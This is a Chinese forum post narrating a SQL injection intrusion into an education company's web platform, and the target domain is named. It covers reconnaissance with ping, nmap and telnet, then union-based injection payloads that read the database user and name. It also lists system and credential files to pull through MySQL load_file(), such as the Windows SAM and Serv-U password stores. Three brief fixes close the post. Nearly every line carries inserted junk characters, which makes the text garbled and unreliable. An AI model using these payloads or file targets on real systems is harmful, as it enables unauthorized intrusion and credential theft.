找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
& E- ]9 v# n+ y/ k% q; N; G一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……! w" F  O: I8 P# Z) h$ [# t- p
第一步:获取需要的信息
) S+ ^' W- h. b9 r由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
2 }  h3 ~! k/ r: E注:以下为保护特用XXX代替敏感信息
3 n5 L3 Y* E2 [$ e% o6 n顺手先PING了一下他们的域名:+ S2 v% _# x! g5 s9 I2 E9 s, g
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
  V2 E8 \' h3 f64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
7 `! }6 p& z/ M/ W* D; G2 A! N顺便了解一下TTL,学好基础知识才能一路顺风:
5 n, ?3 j- e+ h9 P8 s) @TTL:(Time To Live ) 生存时间2 w$ Y( C& }! D; c
指定数据包被路由器丢弃之前允许通过的网段数量。8 q) [# E# E' x& D! q, z
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。* B1 m' G1 @' i7 C. F9 |
使用PING时涉及到的 ICMP 报文类型, T* j" }# b; L6 q! x( M) p
一个为ICMP请求回显(ICMP Echo Request)6 b% \" i* a: P  [( t* ~
一个为ICMP回显应答(ICMP Echo Reply)
) e$ X" E% C! ]' |* STTL 字段值可以帮助我们识别操作系统类型。
8 ~- D9 R0 T. P4 r2 NUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
, i# {' D( N7 F' wCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
0 v4 j5 D% y3 u7 p# h) d( Y; k微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
- m, g2 C' X- f% _/ ~- \9 V3 K% D微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 325 S7 \. D' c/ [+ [# b" `' ~' g) @
当然,返回的TTL值是相同的
/ x4 D" k( E3 s( v2 S9 o3 ?但有些情况下有所特殊
: [( F) Q- h' ^" h( BLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
% g) E9 k# p3 v- P  y4 N* mFreeBSD 4.1, 4.0, 3.4;( o+ v. g- Z7 d
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
' m: _  d2 h+ k1 ZOpenBSD 2.6, 2.7,
. H5 [4 K3 d7 C  m' `3 }& r% v  SNetBSD
. J  \: e. {6 QHP UX 10.20
/ _" U+ L: }' h7 d, JICMP 回显应答的 TTL 字段值为 2559 p6 \' }. f# _, R. g+ P& ]$ B
Windows 95/98/98SE! U5 o+ d/ I, N/ @4 y) [: O
Windows ME0 x* L3 N  [* a; u
ICMP 回显应答的 TTL 字段值为 322 O+ n: v9 U( O
Windows NT4 WRKS
& g1 [3 F' @% t1 i1 dWindows NT4 Server
! E5 \0 c% C# u% s4 B* pWindows 2000
& Z& A  F0 s7 O: R5 w6 @Windows XP
/ t3 I; ^0 S+ k' L; o9 |1 [ICMP 回显应答的 TTL 字段值为 128' J8 y$ b) k" P! z1 Y
这样,我们就可以通过这种方法来辨别操作系统5 h- {4 u( j; s5 Z) C, V
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
! k, A! s/ Z4 T( x* }3 I" A; N0 C用NMAP扫描一下:1 J, h- y! w% \2 |. s
nmap -sT -O XXX.XXX.XXX.XXX
3 q4 R+ i/ Y/ d% _* U" H' P如果没有装WinPcap则会弹出提示:
7 [+ x- W0 s8 q/ I' Q" M, Y0 ZWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
! v" U# A- z; x, ~# ?# e3 \* J( X2 sade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(. O4 i$ O) l- `+ I( O
) mode — Nmap may not function completely
7 m3 R$ X2 q( C/ _TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher$ W- }/ I7 n) u
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
- x6 L- n1 J  Fpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an3 m* y6 D" G# k3 q
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
: y- X# s' \, [, t8 nersions, you may be able to take iphlpapi.dll from another system and place it i* o6 m: B/ u' [
n your system32 dir (e.g. c:\windows\system32).5 P. Z) {2 T$ l. g$ j$ L
QUITTING!2 V$ A) w7 w" ^% Z( D! q# |0 Q/ g
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe! F9 i* P8 E- ^
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
7 N0 y* d$ q. q7 bInteresting ports on XXX.XXX.XXX.XXX:( T) a3 `+ G9 z6 F( s7 ^* |" v
Not shown: 986 closed ports2 c* y6 G2 z$ X/ X: p1 u
PORT     STATE    SERVICE& Y& }- A6 c4 `8 h
21/tcp   open     ftp" c2 [& h$ z: t4 x' }
22/tcp   open     ssh
2 s2 P2 i9 b7 [2 ?23/tcp   open     telnet. L$ I+ h+ e' Y; W& k) L  U
80/tcp   open     http" W3 I- ]" J* r$ G0 f9 {9 e% i% [! H- H
111/tcp  open     rpcbind
6 Y9 h* x! c6 F( f' i, ^135/tcp  filtered msrpc
& j* X1 R. C! n! R$ z; m139/tcp  filtered netbios-ssn$ d" W* K, z8 o' a
445/tcp  filtered microsoft-ds: U8 v3 t2 N( `8 a- H
513/tcp  open     login1 s6 h2 V1 I5 a1 ~
514/tcp  open     shell4 V' P: Q# c3 y5 x
593/tcp  filtered http-rpc-epmap
/ X$ N, _3 A! {6 q' m% h7 P1720/tcp filtered H.323/Q.931
" O) ?( d8 `) b) n" x3306/tcp open     mysql  i" d% f( X  D+ a
4444/tcp filtered krb524
$ D6 p- ^8 r. H. H$ g5 L, ?Device type: WAP
1 r# E8 ~* d7 }+ }  w# [& wRunning: Linux 2.4.X
; c' J) ?& M2 {0 B; N1 {9 ?OS details: DD-WRT (Linux 2.4.35s)
  r2 }2 p8 P- T. K+ kNetwork Distance: 13 hops
, T4 U! g5 W. N2 T7 S& m看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:7 U5 T0 u" w5 p0 y, H
login as:
) V7 Z/ q/ ]* ^, F* iTelnet23端口也是开着的,用telnet 命令链接一下:7 k9 k8 c0 i9 U; y% f
telnet XXX.XXX.XXX.XXX' x! k6 c$ I8 H$ A8 R4 X( U1 c
提示:
% B4 j! z4 i1 ^: J- g, GRed Hat Enterprise Linux Server release 5.2 (Tikanga)
' F! v# w( v# _  S$ U) |Kernel 2.6.18-92.el5PAE on an i686
4 Z, y7 }; I4 G( s6 q6 glogin:
+ ^9 D# E& m. k* @获取HTTP头信息:: @2 F0 h8 P. O' p
在本地执行如下PHP代码
. v+ y7 t$ W3 G<?php; X! H+ c, x% S- e. R7 f" m) E
$url = ‘XXX.XXX.XXX.XXX’;$ S2 _5 J( ?4 W( [
print_r(get_headers($url));
% ?& I* Z! m% ^* ^print_r(get_headers($url, 1));7 ~* I; x$ L* s4 g# L* m# ]7 @2 y3 R, J: y
?>
; z+ G8 i! @/ e4 @将以上代码保存为PHP文件,执行:
8 U# F# k6 _& J1 ZArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )% p) u: E1 z& A( \4 h
现在可以得出结论:
( G" h, B: P+ t! q4 U系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)$ _; A! t4 G/ z# D$ W
内核版本:Kernel 2.6.18-92.el5PAE on an i686
! K/ t2 b! g$ f) @% i0 b' N  `WEB服务器版本:nginx/0.7.61
- J/ E( F; b6 x第二步,开始测试寻找漏洞
" E. e$ F" ?  y% e6 A# _% d- d分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
8 T" D9 G9 B1 U7 l1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
) O( N- g  U. i+ N9 n7 H( \2 v2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
  z% k' p+ f/ f1 Jhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常) _  i/ S) a, k7 W
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误% I6 y) b; i7 _0 k! i
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
. O9 I5 \* t' r7 X1 j' L3、手工注入:
/ g2 i, H+ b) ]3 S4 X; N2 d9 M! P注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
3 U" @1 ?$ `: U) ^  L5 b' F3.1 猜测当前表字段数
- N2 o3 n# y% z2 [. N; u3 i+ Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 102 Q2 i' @) Z( ]7 l7 W8 w
此处猜测有个简单的算法,都是有技巧的吗,呵呵* z( ~/ I5 y2 b' J
算法简单如下:# {. q7 X+ I. t) z( I0 A
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;9 y$ O5 v5 `/ ]( U0 w1 `
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;7 ^* z, L" G' Z! m, S" Z
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
5 F; \- H  ^1 x以此来判断,是否过界,配合取中算法猜出字段数。
+ @* f7 j$ ~  u& J0 S+ B举例:
* B/ X0 N- Q; q+ Phttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
7 X& x8 M/ ~- g, G: C) x& ^9 Qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误% \0 \& T3 u1 i0 n+ k+ R' w  ?
此时3则为我们要找的字段数。
0 m# F& ~9 C- q' C$ m: X3.2 配合union联合查询字段在页面所位置1 C5 E5 |/ y7 H! U8 T# k) `' l  F
我们已经知道了字段数为3,此时则可以做如下操作:7 j7 z+ [+ t) t. j7 o
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3* C6 c1 \& w$ Y( {

8 l% |2 q( I- ?这样就可以测试到哪些字段在页面上有所显示了,如图:+ W; \8 R# K% o. l" T2 c
2 Z1 V% V# R6 a" {& D; k
3.3 查敏感信息
, K, y+ e9 t. T9 N这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。3 F' @9 X9 g8 `, N. e# e% X
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()& G( n$ H' K, ?
3.3.1 先查数据库用户、数据库名,以备后用,如图:+ g. n7 i" J+ I! I4 S( W* m5 n

6 i- b- D: D" W3 b4 t1 Y$ Q6 d得到数据库用户为root、数据库名为DBxx;: c+ N( @& W5 M  S7 M4 x+ t9 R
3.3.2 查配置文件
- G) Y0 l) E( z, n查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
, g* Q" k  A4 K# F1 s2 |1 x查看文件有一定的条件限制:
9 |) d- J$ D7 X9 l6 ]! o欲读取文件必须在服务器上
' B& i% B2 m& J+ `8 a" v& H6 T必须指定文件完整的路径  p) S' A0 \5 l
必须有权限读取并且文件必须完全可读) f! l- z5 Q4 s( }: p# k! ?
欲读取文件必须小于 max_allowed_packet$ e! [# Y( B: p$ \; y- m
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
7 H+ N' d0 e( `6 L# E, b# D# ]常用的一些:
7 K) {( G; G2 a9 C/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件, b$ b! W' M; g$ R7 s* b
/usr/local/apache2/conf/httpd.conf
  [1 r' C7 G# {4 c/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' [( \6 B( X* \7 x1 X/usr/local/app/php5/lib/php.ini //PHP相关设置* a: c# w0 V9 B) \, K3 \
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 C( L: y! F( I  I/etc/httpd/conf/httpd.conf // apache配置文件
( d* U. I6 S5 N' n: V8 k8 z, z/etc/rsyncd.conf //同步程序配置文件
6 @3 h8 y# ]) N5 B( D/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
: s: F. Q. s4 |; ?5 C$ J/etc/my.cnf //mysql的配置文件9 t7 D' o, O* p# x, X8 v8 y
/etc/redhat-release //系统版本
# M; p& Y& J) c. l9 a8 D9 a+ v: C/etc/issue
0 [$ D) M) D7 R, D# _! x1 Q/etc/issue.net
. J5 @& S6 L7 X* A$ U- _& P! K" Dc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码$ @' Z  s7 L& t" d- l1 ?
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
0 A. s6 y6 `% F5 Yc:\Program Files\Serv-U\ServUDaemon.ini
, L# h" q+ h  r, b- E4 ^c:\windows\my.ini //MYSQL配置文件4 W  O8 w/ D% l+ |5 c6 ~. i! M/ `
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 A/ _' ]' l  M; y& e+ g, H等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
3 A; B5 R8 n9 x8 Uc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码2 m; S* o, g2 \0 \% j8 h& O
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此" ?( |' v; x, V/ U1 S5 S4 x
c:\Program Files\RhinoSoft.com\ServUDaemon.exe( d2 x! N: g( r0 n$ L! p2 `. z) x
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件4 s  U! b2 y6 y# a8 a" X2 n$ i
//存储了pcAnywhere的登陆密码
/ ^5 k1 I. d, g- D0 ?/ x3 Y  V由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。/ \# E8 z$ q. W! f; K( b
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
0 u) _* m# a, p最后:防范措施3 j; s: b! I# f0 n2 m
1、修复PHP注入漏洞;
1 l/ [; [- P2 ]' l4 }2、Mysql使用普通权限的用户;
( H* e) C" K' d' i3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表